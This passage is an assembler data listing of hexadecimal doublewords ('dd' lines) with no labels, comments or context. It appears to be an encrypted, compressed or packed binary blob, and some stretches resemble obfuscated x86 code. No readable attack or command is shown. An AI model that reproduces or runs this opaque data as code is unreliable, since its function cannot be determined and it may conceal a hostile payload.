		dd 0B4856206h, 62DDC856h, 0AD5E1F24h, 890140FDh, 10E1BEAAh
		dd 45FC953Fh, 0A472522Fh, 0E55310C0h, 4ADDAE8Bh, 46FDA590h
		dd 0E391EF49h, 0F99FB351h, 0E79748E6h, 5C18A035h, 7DD8661h
		dd 2351F0A9h, 1361E079h, 0A4C05636h, 43AB62F4h,	4DE8ECFFh
		dd 0D2A380F4h, 0EAEB8E01h, 916CE729h, 0D07F2h, 155FDB00h
		dd 761D26Bh, 0FB71C45Dh, 0EC7CB851h, 0DF8DA942h, 9FEBD35h
		dd 0FC953F2Dh, 0F28B353Bh, 0E7802A46h, 8A701A5Ah, 785666F8h
		dd 0FD632360h, 0A6AB3F76h, 0CF5D2542h, 5167F9A9h, 661F24EEh
		dd 0F94805B5h, 938D17Bh, 98AE8E6Bh, 89A4CFCh, 0DC9F8EF4h
		dd 7F84E44Fh, 48194FE4h, 9FAA3CEAh, 79E6988Ch, 462F77BCh
		dd 0D0E92904h, 0E5B69364h, 60D38487h, 0E106EDB7h, 8926C5A0h
		dd 5D00000Ch, 54ED97DDh, 46DF89DFh, 3AD37DEFh, 2BC46EFAh
		dd 3FB7610Bh, 0C1AB8B60h, 0B7B97E17h, 0ACC4740Dh, 9CD86902h
		dd 0E87A0CF2h, 236078D4h, 14F87FE5h, 0E597472Dh, 42A64353h
		dd 0E49F5025h, 0E2BD1B51h, 7D5A1A27h, 1EFB75C2h, 0BB98D063h
		dd 145AC064h, 2E57C34Bh, 14FF38BCh, 0F77DC481h,	1573F93Ch
		dd 68EA1h, 136F300h, 63C1926Fh,	3B59EFBCh, 1C1CD98Bh, 85BC7754h
		dd 704112EFh, 0EE0B8412h, 0F5901F24h, 0A9592A3Eh, 6F1F55ECh
		dd 7F91AEDAh, 39974132h, 2B49F891h, 0F72ABE4Eh,	4EDCDC9Fh
		dd 51E87A2Ah, 62E698F5h, 4F3EB1h, 15F0E107h, 0BD376h, 0E193A700h
		dd 0D3959E37h, 0C7A59029h, 0B8B0841Dh, 0ABC1750Eh, 0D5AA8901h
		dd 0C8610B61h, 0BE57016Fh, 0B34CF67Ah, 563CE68Eh, 79A232C4h
		dd 0C92F2360h, 5D2D1442h, 9222B4D9h, 1F2542A6h,	0EFC09D6Eh
		dd 0BB86411Eh, 0A6B448DAh, 94452542h, 951DE6C3h, 38EE0085h
		dd 0E48D14FFh, 0DF000005h, 0FC5A1622h, 0D3621F55h, 4757E999h
		dd 542542A6h, 23B745A3h, 0D52542A6h, 0DF712147h, 1F24EE74h
		dd 0DCA7A2Bh, 0FD964034h, 0A3533044h, 3F1C50E6h, 0E6B7BD84h
		dd 0F89CAA88h, 8CA3B648h, 7F30E698h, 72A170Ch, 8E2D08E1h
		dd 0B2Ch, 903A3A00h, 822C3CF7h,	76204CE9h, 671157DDh, 5A0468CEh
		dd 82E05E2h, 1621BA64h,	2117B05Ah, 350CA54Fh, 1DAF953Fh
		dd 60467B8Bh, 9B228823h, 674B8A1Fh, 0D8226DC4h,	0FA9C9145h
		dd 3795093Ah, 0D4B1C37Eh, 6F4C2819h, 0D26416A6h, 25421FC2h
		dd 1AC01ECFh, 816B8500h, 381214FFh, 6B000005h, 0CA5C59EFh
		dd 2542A63Ah, 0FF297039h, 30893C1h, 0CC9DCB68h,	0A98E4BFBh
		dd 0C24656E8h, 0A2532542h, 33C573D1h, 1F248A3Fh, 11A537E9h
		dd 0A2DC9F2Ah, 0A9495EF1h, 88FAA12Eh, 0C676272Ah, 79147F14h
		dd 2D0A62D3h, 17F0C95Ch, 0DAABBD77h, 0C7EC37Ch,	0CA74452Bh
		dd 0BA7A1031h, 702DDDAEh, 0F8C9A6C6h, 9B2FBF9Ah, 4DDC9F7Fh
		dd 0E888AFFFh, 0B9693A0Bh, 987D1227h, 2D06A1E6h, 1CAE5E3Bh
		dd 0D6827188h, 0C6976819h, 6784853h, 57F6D1E1h,	0A3Ch
		dd 0A04A2A10h, 923C2C07h, 86303CF9h, 772147EDh,	6A1458DEh
		dd 0F83E35F2h, 631CA74h, 1127C06Ah, 251CB55Fh, 2DBFA54Fh
		dd 60470B9Bh, 0AB329823h, 6A472D14h, 32E292AFh,	0A83CCE80h
		dd 392542A6h, 0A6E4F888h, 44F52542h, 0E6500BE6h, 45EEA986h
		dd 0FF834623h, 28A531Bh, 38436D18h, 3C014FFh, 8A5B3830h
		dd 43DB82Ch, 3F110000h,	2542A6AEh, 0C60D592h, 1E7AD0AEh
		dd 0EE89DC6Eh, 691A1F24h, 0E27207B9h, 0CEA38BAAh, 2A17D02Eh
		dd 0A786E688h, 3CFC6D6Bh, 0E8926334h, 0A582F24Fh, 0A84F77C5h
		dd 0B3E48F1Eh, 0FA8C3C0Dh, 0E698E1B3h, 2BFC6F20h, 2CE10718h
		dd 982B251h, 0E4560000h, 0E64DE690h, 0F63FD882h, 133CC76h
		dd 1224BD67h, 7B38B05Ah, 10BAB284h, 6B0C077h, 0FBA5CB6Dh
		dd 0EB95DF62h, 0CDE17305h, 0DE236047h, 2D14F178h, 92AF6A47h
		dd 7B0505E2h, 185CE59Fh, 0DE96AB68h, 0AE40D880h, 0CD14FF3Ch
		dd 12Ah, 472D1426h, 3BFDBA6Ah, 0CC875835h, 0ECA50369h
		dd 6AFE3555h, 1B31EF99h, 363BCD7Dh, 9D1F45B0h, 6B7F0FECh
		dd 0F5DCA04Ch, 23E0AF6Bh, 41F95711h, 0ED1DD2AFh, 235FD794h
		dd 2A885913h, 20B6h, 59EF0F00h,	80F98B3Bh, 131F45A5h, 0E5F58562h
		dd 6BDCA059h, 0A24C39E1h, 0D9ED1DC3h, 0AEh, 472D1432h
		dd 3BFDBA6Ah, 181ED735h, 85BC7754h, 0EA5712EFh,	1F72E08Ah
		dd 0BE2542BBh, 8441F183h, 70DFFBB3h, 721ACFB0h,	95F3C4A1h
		dd 9C192FEDh, 0BD08FA0Ah, 855607DAh, 4D1B18D5h,	0FDAF41EFh
		dd 52E0B7EDh, 1BEC7CB7h, 0E488AE6Bh, 49EFAC3Ah,	0BE794A27h
		dd 0DF98F67Ah, 0CBA21557h, 3CDAE745h, 86EC261h,	0F8420000h
		dd 0FA39D27Ch, 0A2BC46Eh, 151FB862h, 2610A953h,	47249C46h
		dd 0FCA6C670h, 0F29CD463h, 0E791DF59h, 0D781F34Eh, 39CD5FF1h
		dd 0CA236044h, 2214DD64h, 3A07A04Ah, 4502903Ah,	0CFA07DF3h
		dd 0A6798D1Fh, 0D98A2542h, 2D14D47Bh, 92AF6A47h, 0F59D32E2h
		dd 0F1B73EFEh, 0FD6FC782h, 49F14F20h, 276CCh, 59EF2700h
		dd 9CF98B3Bh, 0FF1F45A1h, 0C9E1714Eh, 57DCA05Dh, 0AD424DCDh
		dd 9B54022Bh, 20D836DAh, 0ED1DAA8Eh, 21BADh, 0DF6AFF00h
		dd 4C5DB0BDh, 3A0B5DD6h, 0A83F35DCh, 942542A6h,	0A6BC50E2h
		dd 9C4D2542h, 0CFCA603Eh, 0A67B8B1Dh, 0D7882542h, 42A6B747h
		dd 0C2934425h, 0EE2F8012h, 29C41F24h, 0AAC67218h, 9B5808D9h
		dd 8B24CEA6h, 1E1BEB6h,	0EB9D4D2Bh, 9F8E4559h, 47A556DCh
		dd 0A2AE799h, 2DFA449Ch, 0B586B89Bh, 0F54C07D8h, 5A93217Fh
		dd 0EE698D6h, 0CA85E351h, 0A2A5036Dh, 0EFA17EF1h, 23FEE106h
		dd 76384h, 71033700h, 63052EC7h, 571520B9h, 482014ADh
		dd 3B31059Eh, 655A1991h, 58F19BD1h, 4EE791DFh, 43DC86EAh
		dd 0E6CC76FEh, 4532C254h, 59BF2360h, 682D14D2h,	42A6C6D6h
		dd 50241D25h, 0ECC99A4Bh, 87641031h, 671DFD87h,	58F09ADAh
		dd 14FF3C56h, 147E5h, 6D1F3E00h, 42A6CBDBh, 0B648D825h
		dd 2542A626h, 0D33102B3h, 704D271Ah, 3EE88CB5h,	1ECEAA80h
		dd 45B0E58Ch, 603DEE1Fh, 0A04F38D0h, 482013DCh,	9BEFD86Bh
		dd 53F4E8C0h, 0F0CD9B98h, 0BDB169EDh, 166FAB35h, 0ED1D4494h
		dd 59A3h, 59EFFC00h, 7FF68B3Bh,	25B94B3Eh, 0B6254269h
		dd 431D7205h, 16FC984h,	8643F5A3h, 5BE0F9ADh, 4870E1AFh
		dd 1E8B1977h, 0A51F45A5h, 0E253370Ah, 0BDCB98Ah, 0B283F150h
		dd 59B545D5h, 29BBDCA0h, 9F85C694h, 3EF9E250h, 0C69774F8h
		dd 2D58C268h, 0ED1D8A83h, 86BAh, 2D141300h, 0BFA03385h
		dd 4296992Dh, 0E6792A25h, 7243D4CCh, 105CDA95h,	72C68333h
		dd 5AE7A0FEh, 0BF823D1Ah, 649D0BB5h, 0F92542D1h, 0C4822C48h
		dd 0D0621276h, 1F4810DEh, 5512C273h, 48E18BE1h,	0D80B7EEEh
		dd 81DAE69Fh, 61E07A6h,	48F20000h, 4AE9822Ch, 5ADB741Eh
		dd 65CF6812h, 76C05903h, 17D44CF6h, 0AC561620h,	0A24C2413h
		dd 97412F09h, 873143FEh, 697D0FA1h, 7A236043h, 22148D14h
		dd 3A07A04Ah, 1409903Ah, 0DA97472Dh, 590F245Ah,	7CDAAB7Ch
		dd 334F1A1h, 0EB560F6Dh, 3462DF89h, 0BD000000h,	9BD5621Fh
		dd 0AB3DEDBEh, 2542A61Bh, 0E099F7A8h, 7B361361h, 0ED1AEC6h
		dd 4DF4908Ah, 33C57727h, 2542A6A3h, 79217F30h, 61132EEBh
		dd 286603h, 1FC10000h, 0A6CBDB6Dh, 27D82542h, 433110C9h
		dd 0A6C3D666h, 191A2542h, 7DB7724Fh, 0C74B0EEBh, 27AD1B53h
		dd 0C4B091F3h, 2D14931Ah, 25BA6A47h, 8965571Eh,	0EB49046Fh
		dd 0EB411F7Dh, 962BDD8Dh, 723A7455h, 9B2DDD56h,	2542480Bh
		dd 0FB89E798h, 1F240002h, 7330E091h, 2499E4CEh,	7B33C355h
		dd 0FC0DC9Ch, 0F7604C7Ch, 7CB97626h, 5CEA92F0h,	0B68418AAh
		dd 0A215DC9Ch, 73490504h, 0AF0DDEADh, 4C294BF6h, 0ABADE6Ch
		dd 8C03E375h, 7DDB8B30h, 0D5A73DCFh, 8334E6FAh,	492B16D3h
		dd 5A3B069Fh, 0EB8616A8h, 6213D6F9h, 0F9EBC2D2h, 4D1ECFD6h
		dd 0DEBA9070h, 99F19C2Eh, 7122ECFEh, 2934C5FEh,	0F89772E7h
		dd 4D0h, 34DE96A4h, 26D0989Bh, 1AC4A88Dh, 0BB5B381h, 0FEA8C472h
		dd 64D2A986h, 72C55E08h, 7DBB54FEh, 91B049F3h, 0C15339E3h
		dd 60409F2Fh, 3FC62C23h, 97472D14h, 0D9783402h,	5EBCC711h
		dd 50241DB6h, 189B873h,	89663735h, 280567CEh, 0C6A3C96Dh
		dd 88D6E733h, 0D72E79A3h, 8787E733h, 0DA671DFDh, 5155EA9Ah
		dd 9AC63A6Bh, 0D5630B69h, 0F3511F18h, 0FF09B13Bh, 24C814h
		dd 0EF210000h, 0F98B3B59h, 1F455A18h, 5D1ACA7Bh, 7DEB95DBh
		dd 0DCA01263h, 4BF57FC2h, 0DEA86B2h, 4336Eh, 2D14C900h
		dd 25BA6A47h, 46CC0483h, 0DA93F1DAh, 72142367h,	0FBCCA9C3h
		dd 0F1AF592Ah, 38CC5E5Bh, 0C92542CCh, 5974718h,	1F45DA6Ch
		dd 49D9B667h, 0DCA1F2B1h, 0A0E535BFh, 0ED1C6C0Eh, 582Dh
		dd 75C27F00h, 0EFF69DFBh, 3ACA5C59h
		dd 0C72542A6h, 3954516h, 1F45A596h, 0E88CB572h,	43A73A0Bh
		dd 79500CDFh, 0E99A9DFBh, 0AD6C7C0Ch, 60F2DCA0h, 0AD881CAEh
		dd 6819DCA0h, 0D9B6640Ah, 0D9AFB044h, 3694CBF9h, 1DE06C7Eh
		dd 1080BEDh, 0AB5D0000h, 0A0768519h, 76516DCh, 472D1460h
		dd 687AF6Ah, 0D5373671h, 0A636039Bh, 25423A16h,	0FE37F2A3h
		dd 0EFC0916Eh, 0F0CD6212h, 0E003D7A0h, 1ED735ECh, 0C1920967h
		dd 0DD97AA63h, 78FC4500h, 0C34160CEh, 0A59C2542h, 0B58C25CFh
		dd 3402E2BFh, 0B70EA050h, 991F45F4h, 0F24155E7h, 15A7DCA1h
		dd 0DCA1F281h, 0AB5C6112h, 0EF994A4Dh, 0CD7D1B31h, 0EB492710h
		dd 14FBAB3Dh, 9748E6ABh, 0C9F752E7h, 1DC04CD8h,	0C65941B0h
		dd 65C36E8Ch, 513CFAB7h, 81A42FBFh, 0BE342ED6h,	5E72B359h
		dd 0B749E659h, 1BBEB4FEh, 0CC9794Ah, 88EC5535h,	0AB09DAABh
		dd 0A0CC6A03h, 37DEE2Dh, 35D4AFE1h, 2E8h, 4CF67EBCh, 3EE880B3h
		dd 32DC90A5h, 23CD9B99h, 16C0AC8Ah, 4CEAC19Eh, 5ADD7620h
		dd 65D36C16h, 79C8610Bh, 0D96B51FBh, 604EB747h,	57DE4423h
		dd 0A04A2214h, 8ADE5512h, 0C57EDCADh, 9648F87Ch, 42A6F004h
		dd 0F2500125h, 59EFC34Ah, 80F98B3Bh, 131F45A5h,	0E5F58562h
		dd 6BDCA059h, 0A24C39E1h, 0D9ED1DC3h, 0B3h, 0A5C76E2Bh
		dd 2D14A047h, 5ADA9747h, 260310Eh, 0A2CA6C27h, 0DB5815C5h
		dd 8A6EFA8Dh, 2F558AFFh, 0BEBE43D1h, 0C27F2542h, 0B0AD41D3h
		dd 8D3E2542h, 2C0963D2h, 47E08A5Bh, 0BD9D7AFAh,	0C759096Fh
		dd 1F45817Eh, 0FE0EA052h, 0BDCA1A0h, 48F9FC5Ah,	2E4AE09Eh
		dd 4599EC7Eh, 792AE6ABh, 422A0CC9h, 3537FF98h, 3EC7DC2h
		dd 0B04F2AE1h, 210h, 741E56E4h,	661058DBh, 5A0468CDh, 4BF573C1h
		dd 3EE884B2h, 2412E9C6h, 32059E48h, 3DFB943Eh, 51F08933h
		dd 1937923h, 604F5F6Fh,	7F066C23h, 0A04A2214h, 8A3A3A07h
		dd 0A6B646D8h, 92432542h, 14058C34h, 0AF6A472Dh, 9D32E292h
		dd 0C989AFC2h, 0FEA6044Bh, 0BB98DC65h, 77274DDBh, 403008C5h
		dd 0BA35D063h, 33031C16h, 0FF760462h, 0DC1F4525h, 4BF74E2Bh
		dd 8F48F6B6h, 5DBB0896h, 972C63B7h, 27BDFD6Ah, 0FBB412EDh
		dd 0C6842E46h, 0B2641470h, 4B284CF5h, 0FB8E1C7Ah, 8E6A645h
		dd 35CA7A57h, 764F1B38h, 641031B4h, 0C57C3593h,	830FD2AFh
		dd 0A0FE72C6h, 0BD6F20FAh, 6A65790Bh, 0C576D684h, 846AA135h
		dd 238132D6h, 0E191F745h, 503D674Ch, 198FF9AEh,	851FFEEDh
		dd 0CD7BD9AAh, 83DA2E3Bh, 4C750AECh, 0B42223FBh, 0DBEC11Fh
		dd 0FD77CA63h, 85B37020h, 0DF3D0EEBh, 815E1226h, 21FE72C6h
		dd 6ACFDF71h, 2BDCC8EAh, 77E1D170h, 0F1A95823h,	96967344h
		dd 0EF810E0Ch, 0C8EA27DFh, 136A3BECh, 68D9AB6Fh, 96A4620Ch
		dd 0DE9042F2h, 0EA27B84Ch, 86AE49C8h, 25B311E2h, 0F2ED3308h
		dd 952ADA8Bh, 0D1EFDC98h, 0F70799A6h, 4C2C9F9h,	49248253h
		dd 4155E799h, 0A7C2C9F9h, 0C9F98115h, 5C6112C2h, 0AD944DABh
		dd 361359DDh, 0FCB79465h, 9B563339h, 9EF5D29Ah,	0F74E20FAh
		dd 8298C753h, 623339FCh, 0ED1520B2h, 29DBF8CEh,	2CED0797h
		dd 85E394C4h, 6927D182h, 7305B5D3h, 0FE4AA582h,	0E08CA966h
		dd 0D1D43203h, 0B9884320h, 0C97811BBh, 966FBABh, 5DCFBEBBh
		dd 0A438CA7Ah, 35FE09D5h, 0BB4B2684h, 0E671CF20h, 0DFA575F9h
		dd 0A5621262h, 2EFFDC90h, 0B28F28D0h, 0A2AE5C2h, 862A815Eh
		dd 0F93EFB94h, 19C99A77h, 1EF7787h, 75D38456h, 0AC2D85BCh
		dd 0F30AD39Ch, 9E2CD6A7h, 254A5AECh, 0A6575601h, 0C01E56EBh
		dd 5D3A3A07h, 3BEh, 0B65D1900h,	714E2614h, 0CE98BB6h, 0AC89E751h
		dd 4D2A46F1h, 0EBC8A492h, 89660630h, 250266CEh,	0C4A1CB6Ah
		dd 613E2A09h, 0E089509Ch, 3E07BB53h, 0F3816F22h, 257551E4h
		dd 0E74F381h, 81432B86h, 2E9E6CC3h, 5BD8019Eh, 8704E883h
		dd 565C2404h, 0C681E689h, 4, 8704EE83h,	895C2434h, 89572404h
		dd 4C781E7h, 83000000h,	3C8704EFh, 14895C24h, 20BB5324h
		dd 8172FF38h, 0DC5EDCEBh, 5B58536Ch, 24148B54h,	5604C483h
		dd 7289C689h, 24348B08h, 4C481h, 148B0000h, 0E0895024h
		dd 405h, 40500h, 4870000h, 48B5C24h, 0E1895124h, 4C181h
		dd 0C1810000h, 4, 5C240C87h, 0FA93B1E9h, 7A2AB8FFh, 22EB65B8h
		dd 0FFC50306h, 3AE21E0h, 94684Dh, 0E1443576h, 12E87Fh
		dd 85E50000h, 0BE351818h, 6C567D1Ch, 28B11ADBh,	1985CCCAh
		dd 5E958h, 37080000h, 8194F107h, 6419C0h, 6800h, 0D6800000h
		dd 36BF5E3Eh, 0FF327DCEh, 0B70F0634h, 3CBF59DAh, 81109636h
		dd 5255C8F1h, 5E835h, 27C70000h, 6083BED2h, 68BE5E56h
		dd 616E9D2Bh, 0DDC1815Bh, 8155AA4Ch, 353F8FC1h,	6890F14h
		dd 81000000h, 5BB347EAh, 300C8925h, 5880Fh, 81660000h
		dd 835BE7D3h, 0E95601EEh, 5, 9E96369Bh,	4E4E5B33h, 11E84Eh
		dd 0F67D0000h, 1246B5AEh, 0B8E2E731h, 6B9AECFDh, 528F26EDh
		dd 8E9h, 9F450500h, 54C19852h, 815B5F35h, 0FF9CB0FEh, 70850FFFh
		dd 0FFFFFFFh, 68Dh, 890F00h, 0E8000000h, 0Fh, 2EC8A736h
		dd 463F1C20h, 81324A44h, 5A2D9F06h, 0B1C0B866h,	5BEEC281h
		dd 0BE90000h, 39000000h, 0E9C68DEEh, 885BE1FAh,	0F63389EBh
		dd 0D12938B8h, 1634FF1Ch, 0FA8B5BFCh, 0D08EB81h, 13E92C2Ah
		dd 1F000000h, 47497B54h, 4CBF8408h, 46B000DEh, 0D441AB27h
		dd 0EB813287h, 6BAAFBh,	47F4F181h, 0F3811E07h, 70DDC983h
		dd 56F08166h, 321C8977h, 59FDBF66h, 0A2B86660h,	0EE836117h
		dd 14830F02h, 0E9000000h, 0Fh, 1649984Ah, 88075869h, 5459E097h
		dd 4E88130Dh, 92B9664Eh, 0BCFE8155h, 0FFFFFA4h,	0FFFF8885h
		dd 0C08166FFh, 79EBBD02h, 0EF9E7D00h, 0FE2218Ch, 9FABAFD6h
		dd 7C4DB297h, 95B7E3h, 0E9A9E572h, 9BB69CB5h, 0B6F37760h
		dd 9EB794A9h, 7D60D760h, 9EA9BD89h, 729EBD8Ch, 4A95ACE3h
		dd 9BB98B20h, 9D89937Eh, 0AFF496B9h, 94A19E96h,	91A7D6B5h
		dd 48D100FDh, 33594ACCh, 5200713Ch, 0F357DB4Dh,	9BB7D65Eh
		dd 0AFF600B7h, 9F8995ABh, 7156F000h, 0BEB3D7C7h, 56711800h
		dd 0E2ADC4D7h, 0EA1D4973h, 0FFEE903h, 0E6680000h, 0E90622EFh
		dd 0FFFA918Ah, 22F0EA68h, 9180E906h, 0E368FFFAh, 0E90622F1h
		dd 0FFFA9176h, 22F32768h, 916CE906h, 0B268FFFAh, 0E90622F3h
		dd 0FFFA9162h, 22F44768h, 9158E906h, 1C68FFFAh,	0E90622F5h
		dd 0FFFA914Eh, 22F5A168h, 9144E906h, 6068FFFAh,	0E90622F6h
		dd 0FFFA913Ah, 22F71768h, 9130E906h, 0C568FFFAh, 0E90622F8h
		dd 0FFFA9126h, 22FB7968h, 911CE906h, 0A268FFFAh, 0E90622FCh
		dd 0FFFA9112h, 0AACA70h, 0F29CCC67h, 0E690DC59h, 0D781E74Dh
		dd 0CA74F83Eh, 989E9552h, 0A6912AD4h, 0B18720CAh, 0C57C15BFh
		dd 8D1F05AFh, 6048EBFBh, 0B92F823h, 27852D14h, 0CC7EE030h
		dd 98533001h, 861BCBA9h, 0E0402AC7h, 650D6B55h,	323191A7h
		dd 0BFE55929h, 7507B788h, 1F4560FCh, 0B94926D7h, 0DCA11F21h
		dd 58353BFCh, 0F8D59B9Dh, 0D8AC6EF8h, 62331060h, 0E2770991h
		dd 0A88790C6h, 6EFE3786h, 91EFC091h, 54562FEBh,	0E3ED1C22h
		dd 3Fh,	3B59EF3Ch, 0A580F98Bh, 83131F45h, 0A059DDF1h, 6C3DEEDCh
		dd 59EBFF8Fh, 0E375DCA0h, 0EBAF024Eh, 0F3462089h, 0A6F19C8Bh
		dd 47ED4B1Ch, 0F238B2D3h, 0C63FED1Dh, 91000000h, 2F0C64D4h
		dd 1459005Eh, 0BA6A472Dh, 0F14644FDh, 0D1A27Fh,	0CDE17323h
		dd 0DE2542A6h, 45FE5C2Dh, 0E39E7BF1h, 7E39165Eh, 9907B1C3h
		dd 2542A408h, 161E6CD5h, 14D18152h, 47EF4D23h, 4E193AEh
		dd 0C2721624h, 0BA400130h, 37E192E0h, 15C5A379h, 739A8A80h
		dd 0A402559Fh, 7D1964F6h, 0FF9AE6AAh, 0B3633434h, 822C40F6h
		dd 645D4DE9h, 0B80F2B82h, 91BE3102h, 2EE104C2h,	0D78B453h
		dd 0C2E0000h, 0E25BE68h, 1E17B05Ah, 290BA44Eh, 3AFC953Fh
		dd 53108832h, 0E892DA5Ch, 0DE88E84Fh, 0D37DF345h, 0C36D073Ah
		dd 25B94BDDh, 0B6236049h, 2214C950h, 7D12A04Ah,	0D85BE1FCh
		dd 4FE2B390h, 0B715566Ch, 873143FEh, 3B59EF00h,	3B44D98Bh
		dd 0A2EA54A9h, 16BCA85h, 67F55324h, 1F45F032h, 63F3D081h
		dd 0DCA1F257h, 0EBB247D9h, 552B94ABh, 432D0BC6h, 0AADB3FE5h
		dd 0ED1C2700h, 79F740FDh, 0C5A71Bh, 1F000000h, 88B0D662h
		dd 693A0BE8h, 85EF520Bh, 2349EDA8h, 27E49646h, 3ECE5E0Eh
		dd 0CB2542A6h, 932EBC1Ah, 75DABD5Bh, 16E435E0h,	0F7B27C97h
		dd 7F502D3Fh, 9BD96821h, 8BE958F1h, 1C78CEAEh, 8857DA6Ch
		dd 0D491E0BAh, 0A8AB095Fh, 0B98F4DF7h, 23F47F1h, 0F3C4A172h
		dd 94E07222h, 5E6AA49h,	4FE7A454h, 29BB6D1Dh, 0D680C195h
		dd 0BFA98B26h, 4FE890EEh, 0CF1285E7h, 0C8E10512h, 0C744EEDh
		dd 102A0000h, 1221BA64h, 2213AC56h, 2D07A04Ah, 3EF8913Bh
		dd 2F0C842Eh, 0E48EDE58h, 0DA84EC4Bh, 0CF79F741h, 0BF690B36h
		dd 21B547D9h, 0B2236056h, 2214C54Ch, 56DD9A4Ah,	730CB412h
		dd 39F6A6CEh, 0C49572FEh, 1F37BE66h, 0A6CBDB6Dh, 27D82542h
		dd 433110C9h, 0DE96AB66h, 2211A634h, 20760947h,	75C079D7h
		dd 0E25F1AF7h, 0F25E292h, 0C553FB59h, 0DD3B3908h, 94A2C818h
		dd 39CD5F11h, 0CA2542F6h, 0F6758919h, 0D5862542h, 714E1A1Ah
		dd 6D1FCFA0h, 0F69529BBh, 75262542h, 7B8992E2h,	0B5132DBEh
		dd 4566F627h, 0E494451Fh, 5E0E27h, 0F24603AFh, 72D0A17Eh
		dd 5F67D5E4h, 4F350329h, 430ED9Fh, 75CC8764h, 42D02EFFh
		dd 1D1C27F3h, 42F2CF80h, 27EEFE90h, 0F345D97Eh,	69C7787Dh
		dd 27D7BD8Bh, 1E110E95h, 2CDC8DE3h, 0F8A2D26Fh,	1F92E25Fh
		dd 0DEAB70D6h, 7B49E8C3h, 3100000Bh, 28C16B09h,	1AB35D0Bh
		dd 0EA7511Bh, 0FF984226h, 138B3537h, 95D75F54h,	8BE552EBh
		dd 80F048E1h, 70043DD6h, 0BC4EE0C6h, 23605728h,	14CC53B9h
		dd 0DA97472Dh, 60310E5Ah, 0F1472702h, 40F88EA9h, 0B1825F30h
		dd 8B9E30E0h, 181F45A4h, 9A2FBD67h, 0F4208A4Fh,	0D85C17E1h
		dd 0C6543290h, 235F2A2h, 62C0916Eh, 1BC722B4h, 9B4CE6A7h
		dd 3B9A2EBEh, 1AA4D687h, 63D28F00h, 0F9F3AB09h,	80E73AA1h
		dd 2Eh,	3B59EFD9h, 5A18F98Bh, 0CA7B1F45h, 95DB5D1Ah, 19AB5DEBh
		dd 0DCA01285h, 79076516h, 0DCA0126Fh, 47F183BEh, 9E68AAEh
		dd 0AC96Ah, 59EFC500h, 65CE8B3Bh, 0F7552603h, 0F852B749h
		dd 10C11F24h, 0D69EA360h, 4AE932Ch, 9F980B47h, 9023F4D1h
		dd 712C8601h, 0FBCCA9C7h, 89D4D2Ah, 0D4A33CEAh,	59EA7DBAh
		dd 0B8C236C7h, 1B310F6Dh, 5E1BCD7Dh, 0C24ACFE3h, 0AD95842Dh
		dd 3CF07EDCh, 8DE6F904h, 0D26F2CDCh, 0E25FF8A2h, 47D5B592h
		dd 2BF7121h, 8C5D3A36h,	0B6BA4ADCh, 9647D6F9h, 0C4E3AA38h
		dd 0BD30ECFEh, 59C8BBBFh, 0B244F458h, 0C8DF8E22h, 0BA2DFEAFh
		dd 0E72A52ABh, 3792310Ch, 0ED00000Ah, 0E47D274Dh, 0D66F194Fh
		dd 0CA630D5Fh, 0BB54FE6Ah, 0CF47F17Bh, 511B1B10h, 47290EA7h
		dd 3C34049Dh, 2C48F992h, 780A9C82h, 23605564h, 3F880F75h
		dd 2542A6ABh, 0F9A9CF5Dh, 24F98F67h, 0AB5B0C1Fh, 23744A16h
		dd 7BD9D738h, 0D7691BCDh, 0DC9FC9C7h, 0CC523D4h, 7953F35h
		dd 0A17EEA4Ah, 88B972D0h, 428E0D2Ah, 0C2934BACh, 8ADE5512h
		dd 0E4A1512Ch, 0DDBB194Fh, 0E779294Fh, 0E698FB52h, 283DB061h
		dd 99E1071Dh, 9AC1FBEh,	0D8620000h, 0DA59F29Ch,	0EA4BE48Eh
		dd 0F53FD882h, 630C973h, 6744BC66h, 1CC6A690h, 12BCB483h
		dd 7B1BF79h, 0F7A1D36Eh, 0D9ED7F11h, 0EA236055h, 2D14FD84h
		dd 8BA6A47h, 0F484EC4Bh, 2542A6E0h, 29E240F1h, 0A8C47218h
		dd 23FFACBh, 0FBC4A172h, 0CCDEA773h, 6B14FF38h,	3CEh, 3B59EFC4h
		dd 1C1CD98Bh, 9868F654h, 191F24F9h, 46FBB868h, 56EB842Eh
		dd 19B1411Eh, 0CFDC9FB4h, 0D96B1B79h, 0E698B640h, 224AEBA8h
		dd 9D10C1C4h, 0E1076A72h, 176908E3h, 0CD000009h, 0C45D076Dh
		dd 0B64FF96Fh, 0AA43ED7Fh, 9B34DE8Ah, 0AF27D19Bh, 313BFBF0h
		dd 2749EE87h, 1C54E47Dh, 0C68D972h, 58EA7C62h, 23605244h
		dd 1F68EF55h, 8D99E58Ah, 428FEBFBh, 0B447F825h,	308E2AA3h
		dd 0CDAACA77h, 68452F12h, 8C03179Fh, 250272CFh,	0AC3EF654h
		dd 9114FFF2h, 64B94DDFh, 994A2542h, 32CC73Bh, 3F200000h
		dd 2542A6ABh, 0B549DB8Dh, 0B82542A6h, 67AF54DEh, 1CCDD238h
		dd 2E4AE0BEh, 0B2C6EC7Eh, 22D31F24h, 0C12BC072h, 0CB78E21h
		dd 0F64B0462h, 2F90D9Fh, 590ADC9Fh, 0E154ACC6h,	0B687A606h
		dd 0A6CE730Ch, 3553E9C9h, 0EA66F385h, 2DC2E698h, 7A0C2B42h
		dd 0D682ED6Ah, 0CD33C677h, 0C2AE8A07h, 0DF9093F1h, 6BCFB6Ch
		dd 0E2815CE1h, 842h, 883242F8h,	7A2444EFh, 6E1854E1h, 5F095FD5h
		dd 52FC70C6h, 10261DDAh, 1E19B25Ch, 290FA852h, 3D049D47h
		dd 15A78D37h, 60537383h, 931A8023h, 21852D14h, 0C15CEA6Eh
		dd 8A4522F3h, 17E0BDB7h, 0F0FA8B8Fh, 8714FF89h,	272h, 0A6AB3FE0h
		dd 0CF5D2542h, 21F282BFh, 0FAD8DF71h, 1ECF1F24h, 0E682B16Eh
		dd 241DDA88h, 340DA650h, 0B5836340h, 208D1FCFh,	0B3E698BCh
		dd 6B188F02h, 2E09E107h, 7BD8Fh, 0ADC77300h, 9FC96A03h
		dd 93D95CF5h, 84E450E9h, 77F541DAh, 0A19655CDh,	942DD795h
		dd 8A23CDA3h, 7F18C2AEh, 2208B2C2h, 53EEFE90h, 95FB2360h
		dd 472D140Eh, 0E292AF6Ah, 9D849D32h, 45E90CCBh,	820C0CE7h
		dd 1F55EC98h, 0EB85B26Fh, 37DF3D0Eh, 0EE3C14A9h, 6E01E325h
		dd 92565810h, 7E514FFh,	3E000000h, 1D130h, 8A1F8B00h, 0D94396CAh
		dd 0C1B38E80h, 6AFE35F0h, 0D05EBC8Dh, 2542B73Ah, 924226F4h
